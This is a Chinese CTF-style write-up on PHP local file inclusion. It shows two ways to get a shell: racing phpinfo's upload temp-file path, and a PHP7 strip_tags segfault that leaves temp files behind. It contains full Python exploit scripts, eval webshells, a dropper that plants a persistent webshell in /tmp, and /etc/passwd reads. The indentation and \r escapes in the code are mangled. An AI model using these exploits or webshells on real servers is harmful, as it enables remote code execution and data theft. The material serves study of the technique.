.exp文件_文件包含&奇技淫巧

前言

最近遇到一些文件包含的题目,在本篇文章记录两个trick。

环境背景

复现环境还是很容易搭建的:

例题1(php7)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET['file']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

例题2(php5)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET['file']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

两道题的最终目标都是拿到根目录的flag。

phpinfo+LFI

我们看到例题2:

我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:

file=php://filter/read=convert.base64-encode/resource=index.php

这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。

最容易想到的是利用包含:

http://ip/index.php?file=/flag

但是由于:

if (strpos($a,'flag')!==false) {
die('nonono');
}

我们并不能进行读取,那么很容易想到,尝试getshell。

这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。

我们简单写一个测试脚本:

import requests
from io import BytesIO
files = {
  'file': BytesIO("<?php echo 'sky is cool!';")
}
url = "http://ip/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print r.content

可以看到回显中有如下内容:

_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)

我们只要利用这一特性,进行包含getshell即可。

首先我们利用正则匹配,提取临时文件名:

data = re.search(r"(?<=tmp_name] =&gt; ).*", r.content).group(0)

31d6de508055d8ce5f203a7c5a88b298.png

接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它。

这里为了事半功倍,我搜集了一些资料和原理:

1.临时文件在phpinfo页面加载完毕后才会被删除。

2.phpinfo页面会将所有数据都打印出来,包括header。

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接。

(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)

那么我们的竞争流程可以总结为:

1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。

2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。

3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。

4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。

5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马:

<?php @eval($_REQUEST[sky]);

则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell:

<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>

这样一旦包含成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。

尝试进行exp编写:

import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="file"; filename="test.php"r
Content-Type: text/phpr
r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="submit"r
r
Submitr
------WebKitFormBoundary9MWZnWxBey8mbAQ8--r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: skypadding="""+padding+"""r
Cache-Control: max-age=0r
Upgrade-Insecure-Requests: 1r
Origin: nullr
Accept: """ + padding + """r
User-Agent: """+padding+"""r
Accept-Language: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Length: %sr
Host: %s:%sr
r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %s:%sr
r
r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i       
        if i == "":
            break
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        print 'not fonud'
    
    print "found %s at %i" % (d[i:i+10],i)
    return i+256
def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((host,port))
s2.connect((host,port))
s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
    return None
s1.close()
s2.close()
attempts = 1000
host = "ip"
port = "port"
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。

随后我们就可以轻松getshell:

b6bfda47c216a8a69853bbf5d21be996.png

LFI+php7崩溃

前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

但如果目标不存在phpinfo,应该如何处理呢?

这里可以用php7 segment fault特性。

我们可以利用:

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

8055bcc9c67df612e1ac771f70331650.png

这样就能达成我们getshell的目的,脚本相对容易很多:

549a053ab9769e1657c8414ac588fc35.png

加上我们有dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

可以进行目录列举,我们只要找到临时文件名即可:

编写exp

import requests
from io import BytesIO
import re
files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r =  requests.post(url=url,data=data)
print r.content

运行即可看到flag

➜  Desktop python myexp2.py
include $_GET['file']flag{LFI_php7~}

后记

两则trick还是挺有意思的,如果出题不注意很容易进行非预期,同时在日常coding时也得注意这些不起眼的问题,一不留神就会被getshell。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www. 4hou.com/web/17259.html 更多内容请关注“嘶吼专业版”——Pro4hou
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值